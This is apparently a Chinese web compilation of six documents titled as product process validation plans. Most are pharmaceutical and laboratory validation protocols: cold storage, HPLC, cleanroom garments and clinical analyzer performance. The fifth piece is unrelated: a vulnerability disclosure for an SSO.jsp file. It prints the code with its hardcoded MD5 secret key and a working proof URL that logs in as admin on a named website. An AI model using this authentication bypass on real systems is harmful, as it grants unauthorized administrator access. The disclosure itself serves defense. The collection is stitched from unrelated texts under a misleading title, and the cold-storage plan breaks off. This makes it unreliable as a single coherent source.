产品工艺验证方案

产品工艺验证方案（共6篇）

1.产品工艺验证方案 篇一

工艺验证管理办法适用范围

本标准适用于本公司所有产品工艺验证。工艺验证的目的通过工艺验证的有效实施，考察某一工艺过程是否能始终如一地生产出符合预定规格及质量标准的产品。为工艺规程定稿提供依据。职责

技术部：负责工艺验证方案的起草,并下发相关单位。

生产部：负责工艺验证方案的计划下达。

生产车间：负责工艺验证方案的组织实施。

质保部：负责按计划完成工艺验证方案中相关检验任务，确保检验结论正确

可靠。并总结验证结果，向技术部提交验证产品的检测报告。

工艺员：负责工艺验证现场指导，解决验证现场问题,校对和调整、固化工艺

文件。

技术负责人：负责审核工艺验证方案及报告。

技术副总：负责批准工艺验证方案及报告。内容

4.1 验证小组成员

工艺员、生产部相关人员、检验员、质量员、生产车间相关人员。

4.2 验证步骤

4.2.1 制订验证计划

4.2.1.1 由工艺员首先起草该工艺的验证计划，然后将验证计划交给验证小

组讨论和审批后分发至各责任部门。

4.2.1.2 验证计划包括：

 简介：简要说明验证对象信息、验证目的和拟采用的验证方法。 验证小组成员。

 验证工作日程安排表（包括各验证项目的实施部门、责任人、实施日

期及完成日期）。

4.2.2 验证准备：

4.2.2.1

4.2.2.2

4.2.2.3

4.2.2.4 负责验证现场的工装管理员提前半个工作日通知做好准备工作。工艺员负责提供现场验证的工艺文件。检验员负责准备好现场验证检测器具和质量文件。相关车间负责按验证计划准备好相应的工装设备、生产材料，并指

派好验证生 产操作工。

4.2.3 验证实施：

工艺验证过程依据已经批准的验证方案进行，原则上须在工艺过程、工艺参数等不变的条件下工艺验证连续进行两批次。如果在验证过程中发生偏差，由验证小组决定验证是否有效以及是否需要增加验证批次等。

4.2.4 验证报告：

由质量员汇总验证记录、结果，给出验证报告，报告包括以下内容：  概述：说明验证实施的依据及过程执行中是否存在偏差、偏差的处

理情况。验证的批次、验证时间、验证产品批号等，即对整个验证

实施过程小结。

 结论：包括总结论及各项验证项目结论。

分项结论：根据各项验证结果说明工艺参数是否合适。

总结论：包括工艺通过验证合格，是否需要调整，若调整是否需要

重新验证等。

 附件：将工艺规程及主要工艺参数做为验证报告附件，以说明验证条件和依据。

4.3 再验证

4.3.1 变更时的再验证

当与产品质量相关的标准生产工序发生变更,有可能影响产品质量时,均需进行再验证。这种变更包括原材料、生产工艺、设备、客户的变更。变更时的再验证，应和最初验证一样，以可能受影响的工序作为

验证对象。

4.3.1.1 即使是富于经验的操作人员按设定的方法正确的动作，生产工艺仍会

逐级产生变化。因此，虽然没有变更的意图，也应定期进行再验证。目的是为了确证前次验证后的工艺都在管理范围之中，并对收集的数据所反映出的倾向进行评价。

4.3.1.2 我公司定期的再验证周期一般为一年，可根据首次验证情况在验证

报告中予以规定。

4.3.2 异常情况下的再验证

4.3.3 若在产品生产过程的日常验证活动中有异常情况发生，或生产工艺有

异常情况发生，或产品质量有异常情况发生时，应回到最初设计阶段进行再验证。

4.3.4 验证后,对现场进行清理。

5、相关考核

5.1各相关责任部门必须按照验证计划执行，如未按期完成，将对相关责任

人100元/次，依次类推。

5.2如拒不执行，将对相关责任人200元/次，依次类推。

5.3对验证工艺图纸无故丢失，将对各责任单位进行处理。每张图纸处罚10

元/次，整本图纸丢失处罚100元/次。

5.4相关处罚报人力资源部备案。

编制：审核：批准：

2.冷库验证方案 篇二

徐元志 1 / 9 质量管理部

浙江善益堂药品零售连锁有限公司

冷 库 温 湿 度 及 调 控 系 统

善益堂 文件编号：SYT –LK-YZ-FA-001

徐元志 2 / 9 质量管理部

冷库温湿度及调控系统验证方案 1.概述：

本公司是小型药品零售连锁经营企业，根据《药品经营质量管理规范》及其附录的规定，对药品储存的冷库的温湿度进行严格的控制，必须对冷库运行进行验证确认。

本方案将实施验证的冷库是按照GSP要求设计制造和安装的，已经实际使用五年，该冷库占地面积3×3.2m2，为整体组装结构，墙体是中间充填隔热树脂的彩钢板，冷库温度2℃～8℃，湿度35%～75%，容积：9.6 m2。2.目的

建立冷库验证方案，证明24小时内冷库内的温度和湿度达到规定要求，保证安全、有效地正常使用，确保冷藏、冷冻药品在储存过程中的药品质量： 2.1检查资料和文件是否符合GSP管理要求。2.2检查并确认冷库设计参数是否符合设计要求。2.3检查并确认冷库安装是否符合设计要求。2.4检查并确认冷库运行是否符合设计要求。

2.5检查并确认温度和湿度是否符合GSP冷藏药品要求。3.依据

3.1 2013版《药品经营质量管理规范》及其附录。3.2公司《验证管理制度》及《验证标准操作规程》 4.适用范围：适用于冷库温湿度调控系统验证。5.职责

5.1验证小组成员。

5.2质管部：负责验证工作的组织与实施。

5.3仓储部、行政人事部：配合质管部实施验证工作。

5.4质量负责人：负责验证工作的监督、指导、协调与审批。6.验证小组

6.2验证小组职责

6.2.1 负责验证方案的起草、审核与报批。

6.2.2 负责按批准的验证方案组织、协调各项验证工作，并组织实施验证工作。6.2.3 负责验证数据的收集、整理、汇总，并对各项验证结果进行分析与评价。6.2.4 负责组织、协调完成各项因验证而出现的变更工作。6.2.5 负责验证报告的起草、审核与报批。

6.2.6 验证日期进度：2013年06月10日至2013年06月25日

善益堂 文件编号：SYT –LK-YZ-FA-001

徐元志 3 / 9 质量管理部

7.验证内容

7.1预确认：冷库已经正常运行使用了1年以上，属于补充确认范畴，但由于前版GSP未要求对冷库进行验证，该冷库此前未进行过规范的预确认，故本次验证对预确认进行补充。7.1.1，故本次确认仅对冷库的技术指标及其设计要求进行汇总登记。

3.高效液相色谱仪验证方案 篇三

目 录1.设备基本情况1.1 概述1.2 基本情况3 职责3.1 验证委员会3.2 工程处3.3 QC4 验证内容4.1 安装确认4.1.1 安装确认所需文件资料4.1.2 关键性仪表及消耗性备品4.1.3 评价仪器的安装是否符合GMp及供应商提议的要求4.1.4 起草标准操作规程4.2 校正4.2.1 紫外检测器4.2.1.1 固定波长紫外检测器波长示值误差的校正4.2.1.2 可调波长紫外—可见光检测器波长示值误差和重复性误差的检定4.2.2 高压泵4.3 运行确认4.3.1 紫外检测器4.3.2 高压泵4.4 性能确认4.4.1 最小检测浓度4.4.2 定性、定量测量的重复性4.5 拟订再验证项目及周期4.6 验证结果评定与结论1.设备基本情况1.1 概述本高效液相色谱仪主要由一个二元泵、一个柱温箱、一个可变紫外检测器、一个带有20μL定量环的进样器和一台工作站组成，各部分由工作站软件控制。本仪器主要用于分析原料和成品的有关物质和含量。1.2 基本情况设备编号：设备名称：高效液相色谱仪型 号：生产厂家： 供货厂家： 安装日期： 使用部门： 工 作 间： 保 管 员：2．验证目的 为确认高效液相色谱仪测试数据准确可靠，性能稳定，特制订本验证方案，对高效液相色谱仪进行验证。验证过程应严格按照本方案规定的内容进行，若因特殊原因确需变更时，应填写验证方案变更申请及批准书，报验证委员会批准。3 职责3.1 验证委员会1.负责验证方案的审批。2.负责验证的协调工作，以保证本验证方案规定项目的顺利实施。3.负责验证数据及结果的审核。4.负责验证报告的审批。5.负责再验证周期的确定。3.2 工程处1.负责设备的安装、调试，并做好相应的记录。2.负责建立设备档案。3.负责数字显示器、记录仪的校正。3.3质量部1.负责验证用对照品、样品及其它消耗性备品的准备2.负责备品、备件的保存。3.负责设备仪器的操作。4.负责记录各种测试结果。5.负责拟订再验证项目及周期。6.负责收集各项验证、试验记录，起草验证报告，报验证委员会。7.负责起草仪器使用、维护保养的标准操作规程。4 验证内容4.1 安装确认4.1.1 安装确认所需文件资料 工程处在设备开箱验收后建立设备档案，整理使用手册等技术资料，归档保存。4.1.2 关键性仪表及消耗性备品 列出关键性仪表及消耗性备品的目录，汇总统计，作为仪器的关键资料，用来与仪器以后的变动做比较。4.1.3 评价仪器的安装是否符合GMp及供应商提议的要求 查阅设备采购定单、操作手册等，列出设备安装、使用所需条件，包括温度、湿度、通风条件、电路等。检查仪器安装与使用所处的环境条件，是否符合上述要求。4.1.4 起草标准操作规程--高效液相色谱仪标准操作规程--高效液相色谱仪维护保养规程--高效液相色谱仪校正规程4.2 校正4.2.1 紫外检测器4.2.1.1 固定波长紫外检测器波长示值误差的校正通常用一块滤光片获得指定波长的光者，可小心将滤光片取出，用高精度的分光光度计检定。4.2.1.2 可调波长紫外—可见光检测器波长示值误差和重复性误差的检定取120℃干燥至恒重的基准重铬酸钾约60mg，精密称定，用0.005mol/l硫酸溶液溶解并稀释至1000ml，摇匀，即得重铬酸钾的硫酸溶液将检测器与记录仪联好，接通电源预热稳定后，用注射器注入重铬酸钾的硫酸溶液将吸收池充满，在235nm、257nm、313nm、350nm波长处检定仪器的波长示值误差。将记录纸速调到4mm/min，将检测器波长调到较规定波长低5nm处（例如检定257nm时，检测器波长先调到252nm，调记录笔到中间位置，然后每15秒改变1nm，直至规定的波长高5nm处，记录各点的吸收度，分别找出最小与最大点的波长与标准波长之差即为波长示值误差。每点重复测3次，最小与最大值之差即为波长重复性误差。标 准：固定波长紫外检测器波长示值误差应<±2nm可调波长紫外-可见检测器波长示值误差应<±2nm，重复性误差<±1nm。基线漂移≤5×10-3（AU/h）；基线噪声≤5×10-4（AU）最小检测浓度（静态）_ch 4×10-8g/ml（奈的甲醇溶液）。4.2.2 高压泵校正泵流量设定值：将仪器的输液系统、进样器、色谱柱和检测器连接好，以甲醇为流动相，按表1设定流量，待流速稳定后，在流动相排出口用事先清洗称重过的容量瓶收集流动相，同时用秒表计时，准确收集至规定的时间，称重，按下式计算SS。表1 SS的检定流量设定值（ml/min）0.51.02.0测量次数333收集流动相时间（min）864允许误差3%2%2%计算公式：Fm=(W2-W1)/ρ·t Ss =(Fm-Fs)/Fs ×100%其中：Fm为流量实测值(ml/min)，Fs为流量设定值(ml/min)，W2为容量瓶加流动相的重量(g)，W1为容量瓶的重量(g)，ρ为实验温度下流动相的密度(g/cm3)，t为收集流动相的时间(min)4.3 运行确认进行运行确认的目的是在不使用任何试样的条件下，确认该仪器能够达到设计要求。4.3.1 紫外检测器基线漂移和基线噪声的测定。将仪器的各部分连接好，紫外检测器波长调到254nm，流动相为100%甲醇，流速为1.0ml/min，纸速为5mm/min，吸收度范围选择最灵敏档，开机，待基线稳定后，记录基线30~40分钟，计算基线漂移和噪声。基线漂移应≤5×10-3(AU/h),基线噪声应≤5×10-4(AU)。4.3.2 高压泵流量稳定性误差SR的检定。将仪器的输液系统、进样器、色谱柱和检测器连接好，以甲醇为流动相，按表2 设定流量，待流速稳定后，在流动相排出口用事先清洗称重过的容量瓶收集流动相，同时用秒表计时，准确收集至规定的时间，称重，按下式计算SR。表2 SR 的检定流量设定值（ml/min）0.51.02.0测量次数333收集流动相时间（min）864允许误差3%2%2%计算公式：SR =(Fmax-Fmin)/F×100% 其中：Fmax为同一组测量中流量最大值（ml/min），Fmin为同一组测量中流量最小值（ml/min），F 为同一组测量中算术平均值（ml/min）。4.4性能确认4.4.1 最小检测浓度在静态条件下，用注射器注入4×10-8g/ml萘的甲醇溶液，样品峰高应大于或等于两倍基线燥声峰高，按下式计算最小检测浓度。Ct=2·HN.C/H式中：Ct:最小检测浓度（g/ml）HN:噪声峰高（记录仪格数或实测高度cm）C:样品浓度（g/ml）H:样品峰高（记录仪格数或实测高度cm）4.4.2 定性、定量测量的重复性将1×10—4g/ml 萘的甲醇溶液，注入高效液相色谱仪中，检测波长254nm，流动相为甲醇，流速1.0ml/min。重复进样8次，计算相对标准偏差（RSD），应小于等于1.5%。4.5拟订再验证项目及周期 质量处负责根据设备仪器情况，确定再验证周期项目及周期，报验证委员会审核。4.6 验证结果评定与结论QC负责收集各项验证、试验结果记录，起草验证报告，报验证委员会。验证委员会负责对验证结果进行综合评审，做出验证结论。

附件1关键性仪表及消耗性备品情况仪器名称仪器编号型 号关键性仪表仪表名称生产厂家型号校正证书编号保存处校正周期消耗性备品品名生产厂家型号数量单位保存处 确认使用部门 年 月 日工程部 年 月 日验证委员会 年 月 日

附件2 仪器安装条件检查记录设备名称设备编号型 号安装条件要求实际安装条件温度10～30℃湿度小于65%通风水电气汽

其它条件

工作台不受阳光直射。室内应无腐蚀性气体或其它影响测定的气体干扰。周围应无影响测定的强电场、磁场和强烈震动。确认使用部门 年 月 日工程部 年 月 日验证委员会 年 月 日

4.产品工艺验证方案 篇四

北京大清生物技术有限公司

洁净工作服清洁消毒验证方案

编制人：日期：审核人：日期：批准人：日期：

分发部门：质量部

1/

5目录

1.概述..................3 2验证目的...............3 3验证职责...............3 4验证内容...............34.1 试验范围设定.........................3 4.2 检验项目与可接受标准.......................4 4.3取样方法...............................44.4验证周期.....................4 6.验证结论：..................4 7.验证周期：....................4

附件...........................5

1.概述

本方案是针对万级区洁净服清洗消毒效果进行的验证，对其在今后日常生产中人员着装的可靠性和质量稳定性提供数据保证。

洁净服清洁消毒程序如下：纯化水浸泡

适 量

（纯化水）

121℃ 30分钟高压灭菌

自然晾干 整衣

2验证目的每次生产结束后，为避免交叉污染，须按洁净服清洗对洁净服进行清洗消毒。为正确评价清洗消毒效果，需定期对洁净服进行清洁消毒效果验证。本验证以万级区的洁净服为验证对象，采用相应的检测手段证明洁净服按规定的清洗消毒规程清洗消毒后，洁净服上微生物及外观符合要求，保证药品质量。评价洁净工作服清洗效果，选择最佳清洗周期。

3验证职责

研发生产总监：确认总负责人，负责批准确认文件。

质量部：负责制定确认主计划，协助起草确认方案，负责确认方 案和确认报告的审核。负责确认过程中检验。

生产部：负责设备及公用工程系统的预确认、安装确认。负责消毒剂的配

制及按规定程序进行对洁净服进行清洗消毒。

4验证内容 4.1 试验范围设定

4.1.1 工作服清洗消毒完毕，紫外灯杀菌 30 分钟后取样进行菌落数检测； 4.1.2 工作服穿1天后,紫外灯杀菌 30 分钟后取样进行菌落数检测； 4.1.3 工作服穿3天后,紫外灯杀菌 30 分钟后取样进行菌落数检测； 4.1.4 工作服穿5天后,紫外灯杀菌 30 分钟后取样进行菌落数检测； 4.1.5 工作服穿7天后,紫外灯杀菌 30 分钟后取样进行菌落数检测。

4.2 检验项目与可接受标准

4.2.1外观检查

4.2.1.1采用方法：目测法。

4.2.1.2可接受标准：清洗后洁净服外观清洁，无可见的残留物或残留气味。4.2.2微生物限度检查。4.2.2.1采用方法：棉签擦拭法。

4.2.2.2检测依据按《中国药典2010年版二部》附录ⅪJ检验。4.2.2.3菌落数≤50个/标样（25cm2）。

4.3取样方法

微生物限度检查取样：连续验证三次。随机抽取 3件工作服，并做好编号。选择洁净服最难清洗的部位取样。将浸有灭菌生理盐水的棉拭子在工作服的领口、袖口上来回涂抹5次（往返为1次）采样面积为 5×5cm，然后将棉拭子放入 20ml 的 灭菌生理盐水的试管内。（取样时洁净服已清洗消毒）。各洁净服取样部位：

4.4验证周期

每个周期7天，重复上述实验三次。检测结果见附件。

6.验证结论：

按照批准进入洁净区人净程序方案进行验证，通过验证，确认人员进出洁净室清洁程序是否可以稳定可靠地达到规定净化要求，是否准予交付生产部正常执行。结论_______________________________________________________________。

质量部：日期：年月日

7.验证周期

每年进行一次再验证；更换新的消毒剂、消毒方法或变更程序及参数时，必须进行验证；对产品质量和技术性能的要求发生较大改变时，需要再验证。验证人：复核人：

日期：年月日日期：年月日

附件

第周期

5.产品工艺验证方案 篇五

SSO.jsp

文件逻辑错误

详细说明：

SSO.jsp文件逻辑错误

<%

String username = request.getParameter(”u“);

String time = request.getParameter(”t“);

String str = request.getParameter(”s“);

String key = ”WIU%&*DJAJKL%^*W(DLJIST“;

String s = StringUtil.md5Hex(username + time + key);

if (s.equals(str)) {

Login.ssoLogin(request, response, username);

}

%>

漏洞证明：

www.zving.com/demo/SSO.jsp?u=admin&t=1&s=ff1168b33fe9e33841bb9814c58a098d

修复方案：

删除漏洞文件

6.产品工艺验证方案 篇六

为了满足目前医学实验室认可的需求保证实验室检测结果的准确性，特制定本方案。适用于强生VITROS产品的试验项目的性能验证，包括V250/V350/V950/FS5.1//V3600/V5600上所能开展的所有定性检测项目。本方案从准确度、精密度、参考范围、线性范围以及方法学比对5个方面对各个试验项目进行评价。

一、精密度（Precision）：精密度是指在规定条件下所获得的检测结果的接近程度，表示测定结果中随机误差大小程度的指标。精密度通常用不精密度表示。可以分别评价连续精密度（批内精密度）、重复性不精密度（中间精密度，包括批间、日间精密度等）和再现性精密度。本方案采用批内和天间两种方法对各个试验项目的精密度进行评价。全部实验过程使用同批号试剂和质控品，并且保证检测当日质控在控。

1、批内精密度（连续精密度）：

方法：在检测患者标本过程中，连续运行高低水平质控品各20次，记录检测结果。计算批内精密度的CV值和SD值。

结果评价（1）厂家评价标准：计算精密度指数=验证SD/厂商SD，精密度指数要求小于等于1，或者实测CV小于等于厂家要求的CV，两者符合其一即可。具体见《精密度评价》表格。

（2）按照国际推荐标准：批内精密度应在CLIA88允许误差的1/4以内，见美国CLIA’88能力比对检验的分析质量要求。

2、天间精密度（中间精密度）： 方法：同样使用两个水平的质控品，若需复溶冻干质控品做实验，要注意选择产品的稳定性和瓶间差。要严格控制每次复溶冻干品时的操作手法。连续测试20天，每天检测1次。在次过程中不能更换试剂批号及质控品批号，是否需要重新定标则取决于实验室。测试完成后记录检测结果。

结果评价（1）厂家评价标准: 计算天间的SD及CV值，并计算精密度指数=验证SD/厂商SD。精密度指数要求小于等于1，或者实测CV小于等于厂家要求的CV，两者符合其一即可。具体见《精密度评价》表格。（2）按照国际推荐标准：批内精密度应在CLIA88允许误差的1/3以内，见美国CLIA’88能力比对检验的分析质量要求。

二、准确度

准确度(accuracy)指检测结果与被测量物真值之间的接近程度。是分析测量范围、分析灵敏度以及生物参考区间评价的基础。准确度的评价方法很多，比如检测定值参考物质，同参考方法进行比对，同有溯源性的检测系统进行方法学比对，卫生部临检中心质评的汇报结果均可以作为评价准确性的方法之一。本方案采用测定定值标准物质的方法来评价各个检测项目的准确度。定值标准物质采用厂家定值标准品。方法：

（1）试验期间保证机器状态正常，保证试验当日室内质控在控。（2）按厂家要求准备各个项目的新批号定标品（要与定标时使用的定标品批号不同）各一套，按照标准复溶。（3）记录该新批号定标品的定值。

（4）在设备上检测各个定标品（多水平）的相关项目，每个水平重复2次，记录检测结果，将检测结果录入《准确度评价》表格。

结果评价：

（1）厂家标准： 按照各定标品各水平的定值和不确定度（厂家提供），来确定准确度的偏倚范围。计算实测均值的各项目各水平定标品的偏倚，与偏倚范围相比较，来判断偏倚是否可以接受。详见《准确度评价》表，实测的均值如果落在该限度内，则为其准确度认为可被接受。

（2）按照国际推荐标准：准确度偏倚应该在CLIA88允许误差的1/2以内，见美国CLIA’88能力比对检验的分析质量要求。

三、参考范围验证

参考 NCCLSC28一A2文件，本方案仅对厂家提供的或者实验室正在使用的各个项目的参考范围进行验证。方法：

（1）选择20个能够代表实验室的健康总体的标本。（2）保证试验系统运行正常，依照标准操作程序检测标本。（3）运行该20份标本，记录结果，将结果填入《参考区间验证》表格。结果评价 如果20个参考个体中不超过2例的检测值在验证的参考限之外，厂商或提供参考区间的实验室报告的95%参考区间可以接受。如果3例以上超出界限，再选择20个参考个体进行验证，若少于或等于2个观测值超过原始参考值，则可接受，若还有3个超出参考限，需要重新检查各种条件，决定是否建立自己的参考区间。

四、线性范围

分析测量范围即定量检测项目的线性范围，是整个检测系统（包括仪器、试剂、校准品、质控品、操作程序、检验人员等）对应于系列分析浓度的仪器最终输出的信号间是否呈恒定比例的性能，是一个很重要的仪器性能分析指标。

本实验通过测定不同配比比例的高低值新鲜患者标本，以验证实测值和理论值的线性关系，来评估每个检测项目的线性范围。方法：

（1）实验室人员必须十分熟悉仪器的操作、质量控制和定标方法，以及正确的收集样本。试验期间保证仪器状态良好下，质控在控。

（2）全部实验数据尽可能在较短的时间内收集，如可能，单个分析试验最好在一天内做完。

（3）用于验证线性范围的标本类型应与临床测试所用的标本类型相同或相类似，所有标本应不含厂家所标定的干扰因素（如溶血、黄疸、脂血等）。如果上述条件不可避免，则应在最后的报告中注明在评价实验中所用的标本处理方法或基质类型。注意：收集的高浓度标本应尽可能的接近线性范围高限。

（4）按照《线性评价》表格要求配比标本。将H 和L 样品按: 5L、4L+IH、3L+2H、2L十3H、lL十4H、5H 关系各自配制棍合，形成系列评价样品。

（5）难以收集到低限样品，可收集高值样品，用相应稀释液作系列不同程度稀释，形成系列评价样品。（6）在《线性评价》表格记录检测结果。

结果评价：将数据填入《线性评价》表格，以X表示各样品的预期值，以Y表示各样品的实测值，得出散点图。

若所有实验点呈明显直线趋势，用直线回归对数据进行统计，得直线回归Y=bX+a，若r2>0.95，斜率b在1.00±0.03范围内，可直接判断测定方法在实验所涉及的浓度范围内成线性。

五、用患者标本进行方法比对及偏倚评估

实验室准备用一个新的检测系统或测定方法(或新的试剂盒、新仪器进行病人标本测定前，应与原有的检测系统或者公认的参考方法-起检测一批病人标本，从测定结果间的差异了解新检测系统或方法引人后的偏倚。如果偏倚不大，或者偏倚量在允许误差范围内，说明两检测系统或方法对病人标本测定结果基本相符，新检测系统或方法替代原有检测系统或方法不会对临床引人明显偏倚，这样的实验称为方法学比较实验。在方法学比较中，常将新方法称为实验方法，与之比较的方法称为比较方法。试验方法：（1）各种仪器处于良好的工作状态，严格按SOP操作。

（2）检验人员有足够的时间熟悉检测系统的各个环节，熟悉评价方案。

（3）在整个实验中，保持实验方法和比较方法都处于完整的质量控制之下，始终对实验结果有校准措施。

（4）实验时间至少做5天，时间长一些更好，可以客观反映实际情况。（5）至少做40份病人标本，多一点更好。

（6）尽可能使50%的实验标本分析物的含量不在参考区间内，各个标本分析物含量越宽越好。

（7）不要使用对任一方法有干扰的标本。

（8）每份标本应有足够的量，以便使实验方法和比较方法都能做双份测定。例如，第l次序号为1、2..3..4、5..6、7、8，第2次序号为8、7、6、5，4、3、2...1。两方法都按此实验。

（9）应在2个小时内两种方法对同批标本分别开始实验，最好使用当天采集的标本。

（10）实验结束后，记录数据。保留原始数据。结果评价：

（1）不采用已明确有人为误差的结果。

（2）将所有无明显误差的实验结果记录下来。但是，若两种方法结果的各自差值大于任一方法的批内不精密度，应查对标本，并重新实验。若找不出原因，应保留数据备考。（3）整个实验一定要有内部质量控制，失控时结果必须重做。（4）对实验数据的初步筛查：

①设比较方法测定结果为X 值，实验方法测定结果为Y 值。在《方法学比对》表格上录入检测数据，若有40个标本，则有 80个 X 和 Y 的结果。

②检查每一方法内现份测定值有无离群表现，先计算每一标本每一方法成对结果的差值和差值的均值。以4 倍的各方法差值的均值为判断限，各方法内标本的成对差值都应在限值内，说明双份测定结果符合要求。

③若原数据仅40 例病人标本的结果，剔除的数据应另做实验补 上。若有1 例以上需剔除，应检查原因是标本原因，其他数据仍可使用。无法找出原因，则保留使用所有数据。若最大差异超过临床允许误差，应从仪器、试剂、方法上寻找原因，停止继续实验。（5）在《方法学比对》表格上，以X均值、Y 均值和(Y-X)、X作图，通过这两种图了解线性关系，即有无明显离群点，是否呈恒定变异等情况。如果实验结果具良好线性关系，继续处理数据。（6）X、Y 关系实验点有无离群表现

先看图在无明显离群点。若无，可作以后的统计；若有，应对X、Y 配对值作离群值计算。将每一个标本两个方法的前后两个测定值一一对应，求出第1 个X 与第1 个Y 的差值和第2 个X 与第2 个Y 的差值，并计算出所有标本总的平均差值，以4 倍的平均差值为判断限值。所有差值都不应超出限值。若有，为离群点，仅一点离群点，剔除。有一点以上离群点，需查原因，判断是否保留数据。若原因不清，不能随意剔除，全部保留作统计分析，或者用一批新标本重做评价。凡有剔除的，应另用标本补做。

（7）标本内分析物含量分布是否适当的检验。相关系数r 常用来表示两个变量间互相关系密切的程度。在直线回归统计时，除所有实验点和回归线间的离散度会影响r 值的大小外，实验点对应的分析物含量分布宽度也会明显影响r 值的大小。若实验点过于密集，尽管离散度不大，但r 值偏小。因此，可用r 检验X 取值范围是否适当。一般要求r 大于或等于0.975(或r2大于或等于0.95)，认为X 范围是适合的。若r 小于0.975时，应再多做实验，扩大数据范围。（8）线性回归统计

可用直线回归分析来估计斜率和截距。数据以回归式Y=bX十a,表示这些数据的直线趋.这是以X 方法为准，Y 方法与之配合的关系式。式中b 为斜率,a为截距。两方法理想状态的回归式应为Y=X，即b =1，a=0。根据临床使用要求，可在各个临床医学决定水平浓度 Xc 处，了解Y 方法引人后相对于X方法的系统误差(SE), SE == |(b-1)Xc + a |。

（9）以美国CLIA’88能力比对检验的分析质量要求允许误差的1/2为判断依据，由方法学比较评估的系统误差(SE)不大于允许误差，认为系统误差在可接受水平内。备注：

1、各个实验室应该根据自己的实际情况，建立性能验证的方法和标准。该方法适用于科室内所有生化设备的验证。

2、上述试验方案可用于强生 Vitros 系列产品，仅供实验室参考。

参考文献：

1、临床检验质量管理技术，冯仁丰，上海科学技术文献出版社

2、临床检验方法学评价，杨有业 张秀明，人民卫生出版社

3、NCCLS，Method Comparison and Bias Estimation Using Patient Samples;Approved Guideline—Second Edition

4、NCCLS，Evaluation of the Linearity of Quantitative Measurement Procedures: A Statistical Approach;Approved Guideline